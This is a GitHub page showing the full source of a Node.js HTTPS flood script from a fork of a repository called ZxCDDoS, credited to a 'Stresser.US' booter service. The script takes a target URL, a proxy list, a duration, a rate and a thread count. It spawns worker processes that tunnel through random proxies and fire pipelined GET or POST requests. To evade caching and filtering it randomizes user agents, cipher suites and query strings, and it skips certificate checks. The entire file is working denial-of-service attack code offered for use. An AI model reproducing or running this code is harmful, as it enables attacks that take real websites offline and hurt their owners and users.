forked from t00r4root/ZxCDDoS
-
Notifications
You must be signed in to change notification settings - Fork 0
/
http1.js
325 lines (284 loc) · 15.6 KB
/
http1.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
//Stresser.US HTTPS/1 method released by forky and coded by thai friend :D
process.on('uncaughtException', function(er) {
//console.error(er)
});
process.on('unhandledRejection', function(er) {
//console.error(er)
});
require('events').EventEmitter.defaultMaxListeners = 0;
const fs = require('fs');
const randstr = require('randomstring')
const url = require('url');
var path = require("path");
const cluster = require('cluster');
function ra() {
const rsdat = randstr.generate({
"charset":"0123456789ABCDEFGHIJKLMNOPQRSTUVWSYZabcdefghijklmnopqrstuvwsyz0123456789",
"length":4
});
return rsdat;
}
let headerbuilders;
let COOKIES = undefined;
let POSTDATA = undefined;
var fileName = __filename;
var file = path.basename(fileName);
let randomparam = false;
if (process.argv.length < 8){
console.log('HTTP/1.1 (Support HTTPS Only) | <3 WeAreRainBowHAT');
console.log('node ' + file + ' <MODE> <host> <proxies> <duration> <rate> <threads> (options cookie="" postdata="" randomstring="" headerdata="")');
process.exit(0);
}
process.argv.forEach((ss) => {
if (ss.includes("cookie=")){
COOKIES = ss.slice(7);
} else if (ss.includes("postdata=")){
if (process.argv[2].toUpperCase() != "POST"){
console.error("Method Invalid (Has Postdata But Not POST Method)")
process.exit(1);
}
POSTDATA = ss.slice(9);
} else if (ss.includes("randomstring=")){
randomparam = ss.slice(13);
console.log("(!) Custom RandomString");
} else if (ss.includes("headerdata=")){
headerbuilders = "";
const hddata = ss.slice(11).split('""')[0].split("&");
for (let i = 0; i < hddata.length; i++) {
const head = hddata[i].split("=")[0];
const dat = hddata[i].split("=")[1];
headerbuilders += `\r\n${head}: ${dat}`
}
}
});
if (COOKIES !== undefined){
console.log("(!) Custom Cookie Mode");
} else {
COOKIES = ""
}
if (headerbuilders !== undefined){
console.log("(!) Custom HeaderData Mode");
}
if (POSTDATA !== undefined){
console.log("(!) Custom PostData Mode");
} else {
POSTDATA = ""
}
if (cluster.isMaster){
for (let i = 0; i < process.argv[7]; i++){
cluster.fork();
console.log(`(!) Threads ${i} Started Attacking`);
}
console.log("(!) Now Attacked | Method By <3 WeAreRainBowHAT & <3 Felipe")
setTimeout(() => {
process.exit(1);
}, process.argv[5] * 1000);
} else {
startflood();
}
var proxies = fs.readFileSync(process.argv[4], 'utf-8').toString().replace(/\r/g, '').split('\n');
var rate = process.argv[6];
var target_url = process.argv[3];
const target = target_url.split('""')[0];
var parsed = url.parse(target);
process.setMaxListeners(0);
const cplist = [
"RC4-SHA:RC4:ECDHE-RSA-AES256-SHA:AES256-SHA:HIGH:!MD5:!aNULL:!EDH:!AESGCM",
"ECDHE-RSA-AES256-SHA:RC4-SHA:RC4:HIGH:!MD5:!aNULL:!EDH:!AESGCM",
"ECDHE-RSA-AES256-SHA:AES256-SHA:HIGH:!AESGCM:!CAMELLIA:!3DES:!EDH"
];
const UAs = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.0.0 Safari/537.36",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:99.0) Gecko/20100101 Firefox/99.0",
"Opera/9.80 (Android; Opera Mini/7.5.54678/28.2555; U; ru) Presto/2.10.289 Version/12.02",
"Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0",
"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 10.0; Trident/6.0; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
"Mozilla/5.0 (Android 11; Mobile; rv:99.0) Gecko/99.0 Firefox/99.0",
"Mozilla/5.0 (iPad; CPU OS 15_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/99.0.4844.59 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (Linux; Android 10; JSN-L21) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.58 Mobile Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36",
];
function startflood(){
if (process.argv[2].toUpperCase() == "POST"){
if (randomparam){
setInterval(() => {
var cipper = cplist[Math.floor(Math.random() * cplist.length)];
var proxy = proxies[Math.floor(Math.random() * proxies.length)];
proxy = proxy.split(':');
var http = require('http'),
tls = require('tls');
var req = http.request({
//set proxy session
host: proxy[0],
port: proxy[1],
ciphers: cipper,
method: 'CONNECT',
path: parsed.host + ":443"
}, (err) => {
req.end();
return;
});
req.on('connect', function (res, socket, head) {
//open raw request
var tlsConnection = tls.connect({
host: parsed.host,
ciphers: cipper, //'RC4-SHA:RC4:ECDHE-RSA-AES256-SHA:AES256-SHA:HIGH:!MD5:!aNULL:!EDH:!AESGCM',
secureProtocol: 'TLSv1_2_method',
servername: parsed.host,
secure: true,
rejectUnauthorized: false,
socket: socket
}, function () {
for (let j = 0; j < rate; j++) {
tlsConnection.write("POST" + ' ' + `${parsed.path.replace("%RAND%",ra())}?${randomparam}=${randstr.generate({length:12,charset:"ABCDEFGHIJKLMNOPQRSTUVWSYZabcdefghijklmnopqrstuvwsyz0123456789"})}` + ' HTTP/1.1\r\nHost: ' + parsed.host + '\r\nReferer: '+target+'\r\nOrigin: '+target+'\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nuser-agent: ' + UAs[Math.floor(Math.random() * UAs.length)] + '\r\nUpgrade-Insecure-Requests: 1\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.9\r\n' + 'Cookie:' + COOKIES + '\r\nCache-Control: max-age=0\r\nConnection: Keep-Alive\r\nContent-Type: text/plain' + `${(headerbuilders !== undefined) ? headerbuilders.replace("%RAND%",ra()) : ""}` + '\r\n\r\n' + `${(POSTDATA !== undefined) ? POSTDATA.replace("%RAND%",ra()) : ""}` + '\r\n\r\n');
}
// tlsConnection.end();
// tlsConnection.destroy();
});
tlsConnection.on('error', function(data) {
tlsConnection.end();
tlsConnection.destroy();
});
tlsConnection.on('data', function (data) {
return;
});
});
req.end();
});
} else {
setInterval(() => {
var cipper = cplist[Math.floor(Math.random() * cplist.length)];
var proxy = proxies[Math.floor(Math.random() * proxies.length)];
proxy = proxy.split(':');
var http = require('http'),
tls = require('tls');
var req = http.request({
//set proxy session
host: proxy[0],
port: proxy[1],
ciphers: cipper,
method: 'CONNECT',
path: parsed.host + ":443"
}, (err) => {
req.end();
return;
});
req.on('connect', function (res, socket, head) {
//open raw request
var tlsConnection = tls.connect({
host: parsed.host,
ciphers: cipper, //'RC4-SHA:RC4:ECDHE-RSA-AES256-SHA:AES256-SHA:HIGH:!MD5:!aNULL:!EDH:!AESGCM',
secureProtocol: 'TLSv1_2_method',
servername: parsed.host,
secure: true,
rejectUnauthorized: false,
socket: socket
}, function () {
for (let j = 0; j < rate; j++) {
tlsConnection.write("POST" + ' ' + parsed.path.replace("%RAND%",ra()) + ' HTTP/1.1\r\nHost: ' + parsed.host + '\r\nReferer: '+target+'\r\nOrigin: '+target+'\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nuser-agent: ' + UAs[Math.floor(Math.random() * UAs.length)] + '\r\nUpgrade-Insecure-Requests: 1\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.9\r\n' + 'Cookie:' + COOKIES + '\r\nCache-Control: max-age=0\r\nConnection: Keep-Alive\r\nContent-Type: text/plain' + `${(headerbuilders !== undefined) ? headerbuilders.replace("%RAND%",ra()) : ""}` + '\r\n\r\n' + `${(POSTDATA !== undefined) ? POSTDATA.replace("%RAND%",ra()) : ""}` + '\r\n\r\n');
}
// tlsConnection.end();
// tlsConnection.destroy();
});
tlsConnection.on('error', function(data) {
tlsConnection.end();
tlsConnection.destroy();
});
tlsConnection.on('data', function (data) {
return;
});
});
req.end();
});
}
} else if (process.argv[2].toUpperCase() == "GET"){
if (randomparam) {
setInterval(() => {
var cipper = cplist[Math.floor(Math.random() * cplist.length)];
var proxy = proxies[Math.floor(Math.random() * proxies.length)];
proxy = proxy.split(':');
var http = require('http'),
tls = require('tls');
var req = http.request({
//set proxy session
host: proxy[0],
port: proxy[1],
ciphers: cipper,
method: 'CONNECT',
path: parsed.host + ":443"
}, (err) => {
req.end();
return;
});
req.on('connect', function (res, socket, head) {
//open raw request
var tlsConnection = tls.connect({
host: parsed.host,
ciphers: cipper, //'RC4-SHA:RC4:ECDHE-RSA-AES256-SHA:AES256-SHA:HIGH:!MD5:!aNULL:!EDH:!AESGCM',
secureProtocol: 'TLSv1_2_method',
servername: parsed.host,
secure: true,
rejectUnauthorized: false,
socket: socket
}, function () {
for (let j = 0; j < rate; j++) {
tlsConnection.write("GET" + ' ' + `${parsed.path.replace("%RAND%",ra())}?${randomparam}=${randstr.generate({length:12,charset:"ABCDEFGHIJKLMNOPQRSTUVWSYZabcdefghijklmnopqrstuvwsyz0123456789"})}` + ' HTTP/1.1\r\nHost: ' + parsed.host + '\r\nReferer: '+target+'\r\nOrigin: '+target+'\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nuser-agent: ' + UAs[Math.floor(Math.random() * UAs.length)] + '\r\nUpgrade-Insecure-Requests: 1\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.9\r\n' + 'Cookie:' + COOKIES + '\r\nCache-Control: max-age=0\r\nConnection: Keep-Alive' + `${(headerbuilders !== undefined) ? headerbuilders.replace("%RAND%",ra()) : ""}` + '\r\n\r\n');
}
// tlsConnection.end();
// tlsConnection.destroy();
});
tlsConnection.on('error', function(data) {
tlsConnection.end();
tlsConnection.destroy();
});
});
req.end();
});
} else {
setInterval(() => {
var cipper = cplist[Math.floor(Math.random() * cplist.length)];
var proxy = proxies[Math.floor(Math.random() * proxies.length)];
proxy = proxy.split(':');
var http = require('http'),
tls = require('tls');
var req = http.request({
//set proxy session
host: proxy[0],
port: proxy[1],
ciphers: cipper,
method: 'CONNECT',
path: parsed.host + ":443"
}, (err) => {
req.end();
return;
});
req.on('connect', function (res, socket, head) {
//open raw request
var tlsConnection = tls.connect({
host: parsed.host,
ciphers: cipper, //'RC4-SHA:RC4:ECDHE-RSA-AES256-SHA:AES256-SHA:HIGH:!MD5:!aNULL:!EDH:!AESGCM',
secureProtocol: 'TLSv1_2_method',
servername: parsed.host,
secure: true,
rejectUnauthorized: false,
socket: socket
}, function () {
for (let j = 0; j < rate; j++) {
tlsConnection.write("GET" + ' ' + `${parsed.path.replace("%RAND%",ra())}` + ' HTTP/1.1\r\nHost: ' + parsed.host + '\r\nReferer: '+target+'\r\nOrigin: '+target+'\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nuser-agent: ' + UAs[Math.floor(Math.random() * UAs.length)] + '\r\nUpgrade-Insecure-Requests: 1\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.9\r\n' + 'Cookie:' + COOKIES + '\r\nCache-Control: max-age=0\r\nConnection: Keep-Alive' + `${(headerbuilders !== undefined) ? headerbuilders.replace("%RAND%",ra()) : ""}` + '\r\n\r\n');
}
// tlsConnection.end();
// tlsConnection.destroy();
});
tlsConnection.on('error', function(data) {
tlsConnection.end();
tlsConnection.destroy();
});
tlsConnection.on('data', function(data) {
});
});
req.end();
});
}
}
}